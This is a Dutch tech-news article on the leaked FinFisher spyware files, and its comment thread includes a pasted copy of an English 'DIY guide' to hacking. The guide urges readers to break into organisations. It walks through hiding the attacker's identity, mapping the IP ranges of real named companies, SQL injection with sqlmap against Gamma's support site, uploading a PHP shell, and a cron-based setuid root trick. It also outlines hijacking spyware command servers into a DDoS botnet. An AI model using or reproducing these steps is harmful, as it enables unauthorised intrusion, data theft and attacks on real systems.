De FinFisher-malware van het omstreden Brits-Duitse Gamma International zou zijn gebruikt voor het bespioneren van computergebruikers in een zestal landen. Dat schrijft ProPublica vrijdag na het analyseren van uitgelekte bestanden.

Uit de documenten, die onlangs door onbekende hackers online werden gezet, blijkt volgens ProPublica dat de FinFisher-malware voornamelijk werd gebruikt voor het bespioneren van gebruikers in de Verenigde Staten, het Verenigd Koninkrijk, Duitsland, Rusland, Iran en Bahrein. Bij dat laatste land zou de spionagesoftware zijn gebruikt om activisten in de gaten te houden, beweert ProPublica.

FinFisher gebruikt onder meer social engineering om doelwitten ertoe te verleiden malware te installeren, maar ook beveiligingsproblemen in software worden gebruikt om de malware ongemerkt te installeren. Dat gebeurde onder meer met een beveiligingsprobleem in iTunes. Eenmaal geïnstalleerd maakt de malware het mogelijk om de gebruiker van de computer in de gaten te houden.

Het is nog niet bekend wie de miljoenen kostende FinFisher-software in het verleden precies heeft gebruikt, maar mogelijk maakte de Nederlandse politie daar ook gebruik van. In de bestanden werd meerdere keren de pgp-sleutel van een Nederlandse rechercheur gevonden, ontdekte de Nederlandse student Koen Rouwhorst. Het gaat onder meer om een bestand dat versleuteld is verzonden naar de politieman, die minstens twee actieve licenties zou hebben.

Het omstreden Gamma International zou de malware ook hebben verkocht aan regeringen die zich op grote schaal schuldig maken aan mensenrechtenschendingen, zo werd bekend nadat de inhoud van de Gamma-server werd buitgemaakt en via BitTorrent werd verspreid. Gamma International wil de hack alleen niet bevestigen.

Hier, dit kan nog wel eens nuttige informatie zijn voor een heleboel Nederlanders. Als ze ons allemaal hacken mogen we zeker toch wel terug hacken? Het is heel eenvoudig. Nieuwsmedia zijn al lang niet meer voor de waarheid maar voor entertainment. Geen enkele westerse overheid is meer transparant. Elk mens heeft betrouwbare informatie nodig om zo de juiste keuzes te kunnen maken. Daarom moeten we de waarheid maar zelf bij elkaar gaan hacken.

Of word deze copy-past-post van een Anarchist zo meteen door de brave hendrik van T.net verwijderd? We zullen zien. The internet is echt wel serious business.

A DIY Guide for those without the patience to wait for whistleblowers


--[ 1 ]-- Introduction

I'm not writing this to brag about what an 31337 h4x0r I am and what m4d sk1llz
it took to 0wn Gamma. I'm writing this to demystify hacking, to show how simple
it is, and to hopefully inform and inspire you to go out and hack shit. If you
have no experience with programming or hacking, some of the text below might
look like a foreign language. Check the resources section at the end to help you
get started. And trust me, once you've learned the basics you'll realize this
really is easier than filing a FOIA request.


--[ 2 ]-- Staying Safe

This is illegal, so you'll need to take same basic precautions:

1) Make a hidden encrypted volume with Truecrypt 7.1a [0]
2) Inside the encrypted volume install Whonix [1]
Noot van Kain_niaK: Probeert ook zeker de linux privacy distro's Tails en Qubes OS uit.
3) (Optional) While just having everything go over Tor thanks to Whonix is
probably sufficient, it's better to not use an internet connection connected
to your name or address. A cantenna, aircrack, and reaver can come in handy
here.

[0] https://truecrypt.ch/downloads/
[1] https://www.whonix.org/wiki/Download#Install_Whonix

As long as you follow common sense like never do anything hacking related
outside of Whonix, never do any of your normal computer usage inside Whonix,
never mention any information about your real life when talking with other
hackers, and never brag about your illegal hacking exploits to friends in real
life, then you can pretty much do whatever you want with no fear of being v&.

NOTE: I do NOT recommend actually hacking directly over Tor. While Tor is usable
for some things like web browsing, when it comes to using hacking tools like
nmap, sqlmap, and nikto that are making thousands of requests, they will run
very slowly over Tor. Not to mention that you'll want a public IP address to
receive connect back shells. I recommend using servers you've hacked or a VPS
paid with bitcoin to hack from. That way only the low bandwidth text interface
between you and the server is over Tor. All the commands you're running will
have a nice fast connection to your target.


--[ 3 ]-- Mapping out the target

Basically I just repeatedly use fierce [0], whois lookups on IP addresses and
domain names, and reverse whois lookups to find all IP address space and domain
names associated with an organization.

[0] http://ha.ckers.org/fierce/

For an example let's take Blackwater. We start out knowing their homepage is at
academi.com. Running fierce.pl -dns academi.com we find the subdomains:
67.238.84.228 email.academi.com
67.238.84.242 extranet.academi.com
67.238.84.240 mail.academi.com
67.238.84.230 secure.academi.com
67.238.84.227 vault.academi.com
54.243.51.249 www.academi.com

Now we do whois lookups and find the homepage of www.academi.com is hosted on
Amazon Web Service, while the other IPs are in the range:
NetRange: 67.238.84.224 - 67.238.84.255
CIDR: 67.238.84.224/27
CustName: Blackwater USA
Address: 850 Puddin Ridge Rd

Doing a whois lookup on academi.com reveals it's also registered to the same
address, so we'll use that as a string to search with for the reverse whois
lookups. As far as I know all the actual reverse whois lookup services cost
money, so I just cheat with google:
"850 Puddin Ridge Rd" inurl:ip-address-lookup
"850 Puddin Ridge Rd" inurl:domaintools

Now run fierce.pl -range on the IP ranges you find to lookup dns names, and
fierce.pl -dns on the domain names to find subdomains and IP addresses. Do more
whois lookups and repeat the process until you've found everything.

Also just google the organization and browse around its websites. For example on
academi.com we find links to a careers portal, an online store, and an employee
resources page, so now we have some more:
54.236.143.203 careers.academi.com
67.132.195.12 academiproshop.com
67.238.84.236 te.academi.com
67.238.84.238 property.academi.com
67.238.84.241 teams.academi.com

If you repeat the whois lookups and such you'll find academiproshop.com seems to
not be hosted or maintained by Blackwater, so scratch that off the list of
interesting IPs/domains.

In the case of FinFisher what led me to the vulnerable finsupport.finfisher.com
was simply a whois lookup of finfisher.com which found it registered to the name
"FinFisher GmbH". Googling for:
"FinFisher GmbH" inurl:domaintools
finds gamma-international.de, which redirects to finsupport.finfisher.com

...so now you've got some idea how I map out a target.
This is actually one of the most important parts, as the larger the attack
surface that you are able to map out, the easier it will be to find a hole
somewhere in it.


--[ 4 ]-- Scanning & Exploiting

Scan all the IP ranges you found with nmap to find all services running. Aside
from a standard port scan, scanning for SNMP is underrated.

Now for each service you find running:

1) Is it exposing something it shouldn't? Sometimes companies will have services
running that require no authentication and just assume it's safe because the url
or IP to access it isn't public. Maybe fierce found a git subdomain and you can
go to git.companyname.come/gitweb/ and browse their source code.

2) Is it horribly misconfigured? Maybe they have an ftp server that allows
anonymous read or write access to an important directory. Maybe they have a
database server with a blank admin password (lol stratfor). Maybe their embedded
devices (VOIP boxes, IP Cameras, routers etc) are using the manufacturer's
default password.

3) Is it running an old version of software vulnerable to a public exploit?


Webservers deserve their own category. For any webservers, including ones nmap
will often find running on nonstandard ports, I usually:

1) Browse them. Especially on subdomains that fierce finds which aren't intended
for public viewing like test.company.com or dev.company.com you'll often find
interesting stuff just by looking at them.

2) Run nikto [0]. This will check for things like webserver/.svn/,
webserver/backup/, webserver/phpinfo.php, and a few thousand other common
mistakes and misconfigurations.

3) Identify what software is being used on the website. WhatWeb is useful [1]

4) Depending on what software the website is running, use more specific tools
like wpscan [2], CMS-Explorer [3], and Joomscan [4].

First try that against all services to see if any have a misconfiguration,
publicly known vulnerability, or other easy way in. If not, it's time to move
on to finding a new vulnerability:

5) Custom coded web apps are more fertile ground for bugs than large widely used
projects, so try those first. I use ZAP [5], and some combination of its
automated tests along with manually poking around with the help of its
intercepting proxy.

6) For the non-custom software they're running, get a copy to look at. If it's
free software you can just download it. If it's proprietary you can usually
pirate it. If it's proprietary and obscure enough that you can't pirate it you
can buy it (lame) or find other sites running the same software using google,
find one that's easier to hack, and get a copy from them.

[0] http://www.cirt.net/nikto2
[1] http://www.morningstarsecurity.com/research/whatweb
[2] http://wpscan.org/
[3] https://code.google.com/p/cms-explorer/
[4] http://sourceforge.net/projects/joomscan/
[5] https://code.google.com/p/zaproxy/


For finsupport.finfisher.com the process was:

* Start nikto running in the background.

* Visit the website. See nothing but a login page. Quickly check for sqli in the
login form.

* See if WhatWeb knows anything about what software the site is running.

* WhatWeb doesn't recognize it, so the next question I want answered is if this
is a custom website by Gamma, or if there are other websites using the same
software.

* I view the page source to find a URL I can search on (index.php isn't
exactly unique to this software). I pick Scripts/scripts.js.php, and google:
allinurl:"Scripts/scripts.js.php"

* I find there's a handful of other sites using the same software, all coded by
the same small webdesign firm. It looks like each site is custom coded but
they share a lot of code. So I hack a couple of them to get a collection of
code written by the webdesign firm.

At this point I can see the news stories that journalists will write to drum
up views: "In a sophisticated, multi-step attack, hackers first compromised a
web design firm in order to acquire confidential data that would aid them in
attacking Gamma Group..."

But it's really quite easy, done almost on autopilot once you get the hang of
it. It took all of a couple minutes to:

* google allinurl:"Scripts/scripts.js.php" and find the other sites

* Notice they're all sql injectable in the first url parameter I try.

* Realize they're running Apache ModSecurity so I need to use sqlmap [0] with
the option --tamper='tamper/modsecurityversioned.py'

* Acquire the admin login information, login and upload a php shell [1] (the
check for allowable file extensions was done client side in javascript), and
download the website's source code.

[0] http://sqlmap.org/
[1] https://epinna.github.io/Weevely/

Looking through the source code they might as well have named it Damn Vulnerable
Web App v2 [0]. It's got sqli, LFI, file upload checks done client side in
javascript, and if you're unauthenticated the admin page just sends you back to
the login page with a Location header, but you can have your intercepting proxy
filter the Location header out and access it just fine.

[0] http://www.dvwa.co.uk/

Heading back over to the finsupport site, the admin /BackOffice/ page returns
403 Forbidden, and I'm having some issues with the LFI, so I switch to using the
sqli (it's nice to have a dozen options to choose from). The other sites by the
web designer all had an injectable print.php, so some quick requests to:
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 1=1
https://finsupport.finfisher.com/GGI/Home/print.php?id=1 and 2=1
reveal that finsupport also has print.php and it is injectable. And it's
database admin! For MySQL this means you can read and write files. It turns out
the site has magicquotes enabled, so I can't use INTO OUTFILE to write files.
But I can use a short script that uses sqlmap --file-read to get the php source
for a URL, and a normal web request to get the HTML, and then finds files
included or required in the php source, and finds php files linked in the HTML,
to recursively download the source to the whole site.

Looking through the source, I see customers can attach a file to their support
tickets, and there's no check on the file extension. So I pick a username and
password out of the customer database, create a support request with a php shell
attached, and I'm in!

Root over 50% of linux servers you encounter in the wild with two easy scripts,
Linux_Exploit_Suggester [0], and unix-privesc-check [1].

[0] https://github.com/PenturaLabs/Linux_Exploit_Suggester
[1] https://code.google.com/p/unix-privesc-check/

finsupport was running the latest version of Debian with no local root exploits,
but unix-privesc-check returned:
WARNING: /etc/cron.hourly/mgmtlicensestatus is run by cron as root. The user
www-data can write to /etc/cron.hourly/mgmtlicensestatus
WARNING: /etc/cron.hourly/webalizer is run by cron as root. The user www-data
can write to /etc/cron.hourly/webalizer

so I add to /etc/cron.hourly/webalizer:
chown root:root /path/to/my_setuid_shell
chmod 04755 /path/to/my_setuid_shell

wait an hour, and ....nothing. Turns out that while the cron process is running
it doesn't seem to be actually running cron jobs. Looking in the webalizer
directory shows it didn't update stats the previous month. Apparently after
updating the timezone cron will sometimes run at the wrong time or sometimes not
run at all and you need to restart cron after changing the timezone. ls -l
/etc/localtime shows the timezone got updated June 6, the same time webalizer
stopped recording stats, so that's probably the issue. At any rate, the only
thing this server does is host the website, so I already have access to
everything interesting on it. Root wouldn't get much of anything new, so I move
on to the rest of the network.


--[ 6 ]-- Pivoting

The next step is to look around the local network of the box you hacked. This
is pretty much the same as the first Scanning & Exploiting step, except that
from behind the firewall many more interesting services will be exposed. A
tarball containing a statically linked copy of nmap and all its scripts that you
can upload and run on any box is very useful for this. The various nfs-* and
especially smb-* scripts nmap has will be extremely useful.

The only interesting thing I could get on finsupport's local network was another
webserver serving up a folder called 'qateam' containing their mobile malware.


--[ 7 ]-- Have Fun

Once you're in their networks, the real fun starts. Just use your imagination.
While I titled this a guide for wannabe whistleblowers, there's no reason to
limit yourself to leaking documents. My original plan was to:
1) Hack Gamma and obtain a copy of the FinSpy server software
2) Find vulnerabilities in FinSpy server.
3) Scan the internet for, and hack, all FinSpy C&C servers.
4) Identify the groups running them.
5) Use the C&C server to upload and run a program on all targets telling them
who was spying on them.
6) Use the C&C server to uninstall FinFisher on all targets.
7) Join the former C&C servers into a botnet to DDoS Gamma Group.

It was only after failing to fully hack Gamma and ending up with some
interesting documents but no copy of the FinSpy server software that I had to
make due with the far less lulzy backup plan of leaking their stuff while
mocking them on twitter.
Point your GPUs at FinSpy-PC+Mobile-2012-07-12-Final.zip and crack the password
already so I can move on to step 2!


--[ 8 ]-- Other Methods

The general method I outlined above of scan, find vulnerabilities, and exploit
is just one way to hack, probably better suited to those with a background in
programming. There's no one right way, and any method that works is as good as
any other. The other main ways that I'll state without going into detail are:

1) Exploits in web browers, java, flash, or microsoft office, combined with
emailing employees with a convincing message to get them to open the link or
attachment, or hacking a web site frequented by the employees and adding the
browser/java/flash exploit to that.
This is the method used by most of the government hacking groups, but you don't
need to be a government with millions to spend on 0day research or subscriptions
to FinSploit or VUPEN to pull it off. You can get a quality russian exploit kit
for a couple thousand, and rent access to one for much less. There's also
metasploit browser autopwn, but you'll probably have better luck with no
exploits and a fake flash updater prompt.

2) Taking advantage of the fact that people are nice, trusting, and helpful 95%
of the time.
The infosec industry invented a term to make this sound like some sort of
science: "Social Engineering". This is probably the way to go if you don't know
too much about computers, and it really is all it takes to be a successful
hacker [0].

One trick it leaves out is that on most systems the apache access log is
readable only by root, but you can still include from /proc/self/fd/10 or
whatever fd apache opened it as. It would also be more useful if it mentioned

networking, etc.


--[ 10 ]-- Outro

You'll notice some of this sounds exactly like what Gamma is doing. Hacking is a
tool. It's not selling hacking tools that makes Gamma evil. It's who their
customers are targeting and with what purpose that makes them evil. That's not
to say that tools are inherently neutral. Hacking is an offensive tool. In the
same way that guerrilla warfare makes it harder to occupy a country, whenever
it's cheaper to attack than to defend it's harder to maintain illegitimate
authority and inequality. So I wrote this to try to make hacking easier and more
accessible. And I wanted to show that the Gamma Group hack really was nothing
fancy, just standard sqli, and that you do have the ability to go out and take
similar action.

Solidarity to everyone in Gaza, Israeli conscientious-objectors, Chelsea
Manning, Jeremy Hammond, Peter Sunde, anakata, and all other imprisoned
hackers, dissidents, and criminals!

Sorry dat ik tweakers op mijn telefoon lees 8)7
Oh ja, dat zoiets kan vergeet ik altijd. Mijn excuses.
Heeft nog niemand een blueprint (hash / fileinfo / registry entrie / whatever).. ervan kunnen achterhalen?
Men moet toch op ייn of andere manier kunnen ontdekken / zien of men is 'gehacked'

Ik zie alleen maar meldingen over 2012/2013.

Is dit een truuk uit de oude doos of is het weer actueel :?

[Reactie gewijzigd door BitBooster op 8 augustus 2014 22:17]

Start je computer vanaf een usb stick (falcon 4 boot cd) en draai dan autorun. Die heeft een "analyse offline system" mode waar je alle registry hooks kunt zien. Het heeft ook een filter om alles van windows of/en microsoft wat opstart weg te filteren. Wel mee oppassen, je draai je computer er zo mee in de soep als je geen verstand van het register hebt. (dus het laat zien welke drivers en dll's en programma's allemaal word opgestart naast het windows OS zelf)

Dit programma kan je niet laten zien of er een virus is dat een driver of systeembestand heeft gecomprimeerd. (halve als deze eerst signed was en nu de handtekening niet meer klopt, dan laat autorun het wel zien) Daar heb je een usb stick voor nodig met Kickstart (Hitman Pro) van Surfright. Die omzeilt de boot sectors en de windows boot manager en kan je systeembestanden vergelijken met schone bestanden in de cloud. Werkt heel goed voor rootkits. Maar ook weer oppassen. Sommige rootkits schrijven een eigen partitie midden in een windows partitie. Als je die met Kickstart verwijdert dan start soms windows niet meer op!

In ieder geval als je onder windows werkt kan een virus volledig onzichtbaar zijn, de laatste generatie rootkits bijvoorbeeld laten zich totaal niet zien of opmerken. Alleen in offline modus kun je je systeem vertrouwen. Een veel gebruikte truuk is om een storage driver te infecteren en alle request naar de harde schijf te onderscheppen. Wanneer je dan de geinfecteerde driver probeert te scannen vangt de storagedriver (met virus) dit op en verwijst je door naar de schone driver die hij ergens op een geheime en eventuel geencrypteerde partitie heeft geparkeerd. Vanuit windows kun je er dan niet eens achter komen dat je uberhaupt een rootkit hebt. Maar je computer heeft wel een achterpoortje voor welke malware dan ook. En zoiets als cryptolocker of cryptowall wil je echt niet op je systeem hebben.

Uiteraard is een herinstal van Windows altijd de meest veilige en makkelijkste oplossing. Maar daarna heel veel werk om je computer weer in dezelfde staat te krijgen. Maar wees gewaarschuwd, firmware virussen komen er hard aan, Deze vervangen de firmware van bijvoorbeeld je SSD, of misschien zelfs de firmware van je grafische kaart (bios). Daarna ben je helemaal genegert, dan mag je computer bij het grofvuil. Maar misschien ook niet want de NSA heeft toch al lang achterpoortjes in de hardware laten inbouwen. Misschien zelfs wel in de CPU's van Intel. Zou ik ook doen als ik het kan. En zij kunnen het.

Gamma International wil de hack alleen niet bevestigen.

Is niet zo leuk he Gamma International, als je gehackt word!
Die Nederlandse rechercheur had het vast alleenmaar voor studie en eigen gebruik gekocht, want onze politie is niet corrupt las ik laatst.
1,4 miljoen euro kostende licentie heeft die natuurlijk kunnen betalen via de staatsloterij :+ .
... onze politie is zo corrupt als het woord dubbel zelf.

wie dat niet geloofd heeft zijn ogen in zijn kont zitten.
Ik vermoed het ook, maar er werd hier laatst bij hoog en laag beweerd dat onze politie zowat heilig is. Nooit fouten maakt, niet omkoopbaar is, niet mishandelt, neer- of doodschiet. Er gaan hier geen mensen dood in cellen of op de stoep voor het bureau.

Dus Jochen van der Wal heeft die spullen slechts voor eigen gebruik en studie.
En dat geld heeft hij ws via crowdfunding.

Op dit item kan niet meer gereageerd worden.
